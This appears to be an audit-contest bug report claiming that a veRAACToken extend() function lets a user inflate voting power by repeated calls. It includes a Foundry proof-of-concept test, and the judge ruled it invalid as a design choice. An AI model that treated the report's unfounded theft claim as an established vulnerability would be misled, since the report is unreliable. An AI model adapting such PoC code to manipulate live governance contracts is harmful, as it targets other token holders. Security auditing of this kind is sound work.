Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

attacker can steal voting power

Summary

Attacker can steal extra voting power by calling extend() repeatedly.

Vulnerability Details

function extend(uint256 newDuration) external nonReentrant whenNotPaused {
// Extend lock using LockManager
uint256 newUnlockTime = _lockState.extendLock(msg.sender, newDuration);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
userLock.amount,
newUnlockTime
);
// Update checkpoints
uint256 oldPower = balanceOf(msg.sender);
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Update veToken balance
if (newPower > oldPower) {
@> _mint(msg.sender, newPower - oldPower);
} else if (newPower < oldPower) {
_burn(msg.sender, oldPower - newPower);
}
emit LockExtended(msg.sender, newUnlockTime);
}

The function above allows users who have locked their tokens to extend their period duration .However there is no
limit on the number of times the function can be called to extend duration . Each time the function is called , voting power
is minted to the user.
An attacter can abuse this to mint extra voting power to themselves.

Proof Of Concept

See how to intigrate foundry to hardhat project
. Create a new file POC.t.sol in project /test/ folder . Paste the poc and run forge test --mt test_POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "contracts/core/tokens/veRAACToken.sol";
import "contracts/mocks/core/tokens/ERC20Mock.sol";
contract Audit_Test is Test {
veRAACToken public veToken;
ERC20Mock public raacToken;
address owner = makeAddr("owner");
address user = makeAddr("user");
uint256 constant MIN_LOCK_DURATION = 365 days;
uint256 constant MAX_LOCK_DURATION = 1460 days;
uint256 constant INITIAL_MINT = 1_000_000 ether;
uint256 constant BOOST_WINDOW = 7 days;
uint256 constant MAX_BOOST = 25000; // 2.5x
uint256 constant MIN_BOOST = 10000; // 1x
function setUp() public {
vm.startPrank(owner);
// Deploy Mock RAAC Token
raacToken = new ERC20Mock("RAAC Token", "RAAC");
// Deploy veRAACToken
veToken = new veRAACToken(address(raacToken));
vm.stopPrank();
}
function test_POC() public {
uint256 amount = 100;
uint256 duration = 365 days;
raacToken.mint(user, 200);
vm.startPrank(user);
raacToken.approve(address(veToken), 200);
uint256 unlockTime = block.timestamp + duration;
uint256 time = unlockTime - block.timestamp;
uint256 initialPower = (amount * time) / 1460 days;
int128 bias = int128(int256(initialPower));
uint256 newPower = uint256(uint128(bias));
uint256 timestampBefore = block.timestamp;
veToken.lock(amount, duration);
assertEq(veToken.balanceOf(user) , 25);
//call extent mutiple times to increase voting power
uint256 extensionDuration = 180 days;
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
assertEq(veToken.balanceOf(user) , 98);
vm.stopPrank();
}
}

Impact

Attacker can steal voting power manipulate the Governance

Tools Used

Manual Review

Recommendations

Require payment for minting new voting power.

Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.